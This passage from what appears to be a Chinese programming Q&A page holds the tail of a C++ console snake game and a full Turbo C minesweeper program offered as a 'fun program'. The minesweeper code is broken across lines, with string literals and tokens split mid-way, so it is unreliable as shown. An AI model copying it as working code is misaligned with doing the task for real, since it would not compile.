score++; food.randfood(); return;}//吃到食物得分+1,如果蛇頭坐標和食物坐標重合則重新產生一個食物並直接結束本次移動
for(int i=0;i<snakecoor.size();i++) {//遍歷容器,判斷食物與蛇身是否重合並輸出整條蛇
gotoxy(snakecoor[i].x, snakecoor[i].y);
if (!i) cout << "●"; else cout << "■";//頭部輸出圓形否則輸出方塊
if (snakecoor[i].x==food.getFoodm_x() && snakecoor[i].y==food.getFoodm_y())food.randfood();}//如果食物刷新到了蛇身上,則重新產生一個
gotoxy(snakecoor.back().x,snakecoor.back().y);cout << " ";snakecoor.pop_back();}};
//數據與畫面是分開,的在容器尾部的地方輸出空格 清除畫面上的蛇尾,刪除容器中最後一個數據 清除數據上的蛇尾
void HideCursor() {CONSOLE_CURSOR_INFO cursor_info={1,0};SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE),&cursor_info);}//隱藏游標
int main() {system("mode con cols=88 lines=28"); system("title 貪吃蛇"); HideCursor();//游標隱藏,設置控制台窗口大小、標題
int score=0; Food food; food.randfood(); Snake snake;//得分變數,食物對象,開局隨機產生一個食物,蛇對象
while(true) {snake.move(food, score);Sleep(150);}return 0;}//蛇移動,游戲速度

⑽ 誰有c語言一些運行起來結果很好玩的程序的代碼..

/*太大了估計你不想要,給你一個掃雷程序,turbo
C下才能編譯成功
空格:打標記
回車:掃雷
方向鍵:改變方向
*/
#include<stdio.h>
#include<conio.h>
#include<time.h>
void
adjust(int*,int*);
int
a[23][23],c[22][22],mm,nn;
int
roundmine(int,int);
void
spread();
main()
{
int
i,j,b[22][22],minenum,mine;
int
x,y,yy,s;
char
g,h,z;
int*x1;
int*y1;
time_t
t;
again:srand((unsigned)
time(&t));
textcolor(LIGHTGREEN);
for(i=2;i<=21;i++)
for(j=2;j<=21;j++)
{
gotoxy(i,j);
putch(219);
b[i][j]=1;
c[i][j]=1;
}
minenum=0;
for(i=1;i<=22;i++)
for(j=1;j<=22;j++)
{
a[i][j]=0;
if(i>1&&i<22&j>1&&j<22)
{if((s=rand()%10)>0)
a[i][j]=0;
else
if(s==0)
a[i][j]=1;
}
if(a[i][j])
minenum++;
}
gotoxy(50,2);
puts("dirction");
gotoxy(50,3);
puts("SPACE:mark");
gotoxy(50,4);
puts("ENTER:dig");
gotoxy(50,8);
printf("mine
num:%4d",minenum);
gotoxy(50,5);
printf("ESC:exit");
gotoxy(30,15);
puts("
");
gotoxy(30,20);
puts("
");
mine=minenum;
gotoxy(2,2);
x=2;y=2;
while(mine)
{
h=getch();
if(h=='H')
gotoxy(x,--y);
else
if(h=='P')
gotoxy(x,++y);
else
if(h=='K')
gotoxy(--x,y);
else
if(h=='M')
gotoxy(++x,y);
x1=&x;y1=&y;
adjust(x1,y1);
if(h=='
')
{
if(c[wherex()][wherey()])
if(b[wherex()][wherey()])
{
textcolor(LIGHTRED);
putch(16);
mine--;
gotoxy(59,8);
printf("%4d",mine);
gotoxy(x,y);
b[wherex()][wherey()]=0;
}
else
{
textcolor(LIGHTGREEN);
putch(219);
mine++;
gotoxy(59,8);
printf("%4d",mine);
gotoxy(x,y);
b[wherex()][wherey()]=1;
}
}
if(h=='\015')
{
mm=wherex();nn=wherey();
c[wherex()][wherey()]=0;
if(a[wherex()][wherey()])
{
for(i=2;i<=21;i++)
for(j=2;j<=21;j++)
{gotoxy(i,j);
if(a[i][j])
{textcolor(LIGHTRED);
putch(017);
}
}
break;
}
else
{spread();gotoxy(mm,nn);}
}
if(h=='\033')
exit(0);
}
yy=1;
for(i=2;i<=21;i++)
for(j=2;j<=21;j++)
if
(a[i][j]==1&&b[i][j]==1)
{gotoxy(30,15);
cprintf("You
lose!!");
yy=0;
}
if(yy)
{gotoxy(30,15);
cprintf("You
win!!");
}
gotoxy(30,20);
cprintf("Once
again(y/n)?");
z=getch();
if(z=='y')
goto
again;
}
void
adjust(int*
x,int*
y)
{
if(*x<2)
gotoxy(*x+=20,*y);
else
if(*x>21)
gotoxy(*x-=20,*y);
else
if(*y<2)
gotoxy(*x,*y+=20);
else
if(*y>21)
gotoxy(*x,*y-=20);
}
int
roundmine(int
x,int
y)
{
int
i,j,r=0;
for(i=x-1;i<=x+1;i++)
for(j=y-1;j<=y+1;j++)
if(a[i][j])
r++;
return
r;
}
void
spread()
{
int
r,i,j,x,y;
x=wherex();
y=wherey();
r=roundmine(x,y);
if(r)
{printf("%d",r);c[x][y]=0;}
else
if(r==0&&x>1&&x<22&&y>1&&y<22)
{
putchar('
');c[x][y]=0;
for(i=x-1;i<=x+1;i++)
for(j=y-1;j<=y+1;j++)
if(x>1&&x<22&&y>1&&y<22&&c[i][j])
{gotoxy(i,j);
spread();
}
}
}